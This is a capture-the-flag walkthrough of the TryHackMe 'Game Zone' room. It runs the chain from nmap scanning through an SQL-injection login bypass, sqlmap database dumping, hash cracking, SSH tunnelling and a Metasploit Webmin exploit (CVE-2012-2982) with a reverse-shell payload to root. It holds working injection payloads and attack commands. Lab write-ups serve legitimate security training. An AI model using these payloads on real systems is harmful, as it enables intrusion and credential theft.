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| https://tryhackme.com/room/gamezone |
Game Zone
Bruteforce a websites login with Hydra, identify and use a public exploit, then escalate privileges.
Exploring
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|---|
| Welcome page clues |
A reverse image search gave the name of the agent (47).
Scanning
Run a simple port scan (without Ping)
# nmap -Pn -p- <IP address target machine> -oN portscan
portscan:
# Nmap 7.92 scan initiated Fri Sep 30 21:09:37 2022 as: nmap -Pn -p- -oN portscan 10.10.13.164
Nmap scan report for 10.10.13.164
Host is up (0.047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Fri Sep 30 21:11:01 2022 -- 1 IP address (1 host up) scanned in 83.49 seconds
Run an -A scan on the open ports:
# nmap -Pn -T4 -A -p22,80 <IP address target machine> -oN servicescan
servicescan:
# Nmap 7.92 scan initiated Fri Sep 30 21:15:40 2022 as: nmap -Pn -T4 -A -p22,80 -oN servicescan 10.10.13.164
Nmap scan report for 10.10.13.164
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA)
| 256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA)
|_ 256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Game Zone
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 39.80 ms 10.9.0.1
2 40.16 ms 10.10.13.164
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 30 21:15:58 2022 -- 1 IP address (1 host up) scanned in 17.68 seconds
Using SQLMap
In the main page, use ' or 1=1 -- - as username and leave the password blank. This logs you in and calls up a
portal.php page with a search box.
Intercept a test search on the portal page with Burpsuite:
 |
|---|
| Intercepted search request |
Save the intercepted request in a .txt file, to feed into sqlmap.
Run SQLMap:
-ruses the intercepted request you saved earlier--dbmstells SQLMap what type of database management system it is--dumpattempts to outputs the entire database
# sqlmap -r intercepted-search.txt --dbms=mysql --dump
___
__H__
___ ___["]_____ ___ ___ {1.6.9#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:05:35 /2022-09-30/
[22:05:35] [INFO] parsing HTTP request from 'intercepted-search.txt'
[22:05:35] [INFO] testing connection to the target URL
[22:05:35] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:05:35] [INFO] testing if the target URL content is stable
[22:05:36] [INFO] target URL content is stable
[22:05:36] [INFO] testing if POST parameter 'searchitem' is dynamic
[22:05:36] [WARNING] POST parameter 'searchitem' does not appear to be dynamic
[22:05:36] [INFO] heuristic (basic) test shows that POST parameter 'searchitem' might be injectable (possible DBMS: 'MySQL')
[22:05:36] [INFO] heuristic (XSS) test shows that POST parameter 'searchitem' might be vulnerable to cross-site scripting (XSS) attacks
[22:05:36] [INFO] testing for SQL injection on POST parameter 'searchitem'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:06:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:06:18] [WARNING] reflective value(s) found and filtering out
[22:06:18] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[22:06:19] [INFO] testing 'Generic inline queries'
[22:06:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[22:06:21] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[22:06:22] [INFO] POST parameter 'searchitem' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="is")
[22:06:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:06:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:06:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:06:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:06:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[22:06:22] [INFO] POST parameter 'searchitem' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
[22:06:22] [INFO] testing 'MySQL inline queries'
[22:06:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:06:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[22:06:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[22:06:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[22:06:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[22:06:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[22:06:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:06:33] [INFO] POST parameter 'searchitem' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[22:06:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:06:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[22:06:33] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:06:33] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:06:33] [INFO] target URL appears to have 3 columns in query
[22:06:33] [INFO] POST parameter 'searchitem' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[22:06:33] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'searchitem' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: searchitem (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: searchitem=-2346' OR 3692=3692#
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: searchitem=test' AND GTID_SUBSET(CONCAT(0x7176717871,(SELECT (ELT(2162=2162,1))),0x7171766b71),2162)-- XNGt
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchitem=test' AND (SELECT 2073 FROM (SELECT(SLEEP(5)))kWHq)-- zuOM
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: searchitem=test' UNION ALL SELECT NULL,NULL,CONCAT(0x7176717871,0x75456e594846767a627a696f4d55796e434f7652686e776849744f6e6d6c53554d43705875715358,0x7171766b71)#
---
[22:06:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.6
[22:06:53] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[22:06:53] [INFO] fetching current database
[22:06:53] [INFO] fetching tables for database: 'db'
[22:06:54] [INFO] fetching columns for table 'post' in database 'db'
[22:06:54] [INFO] fetching entries for table 'post' in database 'db'
Database: db
Table: post
[5 entries]
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | name | description |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | Mortal Kombat 11 | Its a rare fighting game that hits just about every note as strongly as Mortal Kombat 11 does. Everything from its methodical and deep combat. |
| 2 | Marvel Ultimate Alliance 3 | Switch owners will find plenty of content to chew through, particularly with friends, and while it may be the gaming equivalent to a Hulk Smash, that isnt to say that it isnt a rollicking good time. |
| 3 | SWBF2 2005 | Best game ever |
| 4 | Hitman 2 | Hitman 2 doesnt add much of note to the structure of its predecessor and thus feels more like Hitman 1.5 than a full-blown sequel. But thats not a bad thing. |
| 5 | Call of Duty: Modern Warfare 2 | When you look at the total package, Call of Duty: Modern Warfare 2 is hands-down one of the best first-person shooters out there, and a truly amazing offering across any system. |
+----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
[22:06:54] [INFO] table 'db.post' dumped to CSV file '/root/.local/share/sqlmap/output/10.10.13.164/dump/db/post.csv'
[22:06:54] [INFO] fetching columns for table 'users' in database 'db'
[22:06:54] [INFO] fetching entries for table 'users' in database 'db'
[22:06:54] [INFO] recognized possible password hashes in column 'pwd'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:07:01] [INFO] writing hashes to a temporary file '/tmp/sqlmapo7l6ufaf347892/sqlmaphashes-420lpe1l.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[22:07:07] [INFO] using hash method 'sha256_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 2
what's the custom dictionary's location?
> /usr/share/wordlists/rockyou.txt
[22:13:45] [INFO] using custom dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[22:14:20] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
[22:14:20] [INFO] starting 4 processes
[22:14:43] [INFO] cracked password 'videogamer124' for user 'agent47'
Database: db
Table: users
[1 entry]
+----------------------------------------------------------------------------------+----------+
| pwd | username |
+----------------------------------------------------------------------------------+----------+
| ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 (videogamer124) | agent47 |
+----------------------------------------------------------------------------------+----------+
[22:17:28] [INFO] table 'db.users' dumped to CSV file '/root/.local/share/sqlmap/output/10.10.13.164/dump/db/users.csv'
[22:17:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.13.164'
[*] ending @ 22:17:28 /2022-09-30/
Cracking password with John
We already have the password, but do again:
# echo "ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14" > agent47.txt
# john agent47.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
With username and password known, ssh into the target:
ssh agent47@<IP address target machine>
Last login: Fri Aug 16 17:52:04 2019 from 192.168.1.147
agent47@gamezone:~$ ls
user.txt
agent47@gamezone:~$ cat user.txt
Exposing services with reverse SSH tunnels
Use ss to investigate sockets:
agent47@gamezone:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:10000 *:*
udp UNCONN 0 0 *:68 *:*
tcp LISTEN 0 80 127.0.0.1:3306 *:*
tcp LISTEN 0 128 *:10000 *:*
tcp LISTEN 0 128 *:22 *:*
tcp LISTEN 0 128 :::80 :::*
tcp LISTEN 0 128 :::22 :::*
Port 10000 is blocked via a firewall rule (iptables). Use a reverse ssh tunnel:
# ssh -L 10000:localhost:10000 agent47@<IP address target machine>
Browsing http://127.0.0.1:10000 now shows a Webmin portal.
Check version in local machine:
# nmap -sV -p 10000 127.0.0.1 -vv
...
PORT STATE SERVICE REASON VERSION
10000/tcp open http syn-ack MiniServ 1.580 (Webmin httpd)
Searchsploit:
# searchsploit webmin 1.580
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Webmin 1.580 - '/file/show.cgi' Remote Comman | unix/remote/21851.rb
Webmin < 1.920 - 'rpc.cgi' Remote Code Execut | linux/webapps/47330.rb
---------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Searching for 21851 in exploit-db gives CVE: 2012-2982
Privilege escalation with Metasploit
# msfconsole -q
[*] Starting persistent handler(s)...
msf6 > search CVE-2012-2982
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/webmin_show_cgi_exec
msf6 > use 0
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set RHOSTS 127.0.0.1
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set SSL false
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set RPORT 10000
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set USERNAME agent47
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set PASSWORD videogamer124
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set LHOST 10.10.13.164
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > run
And get flag:
pwd
/usr/share/webmin/file/
whoami
root
cat /root/root.txt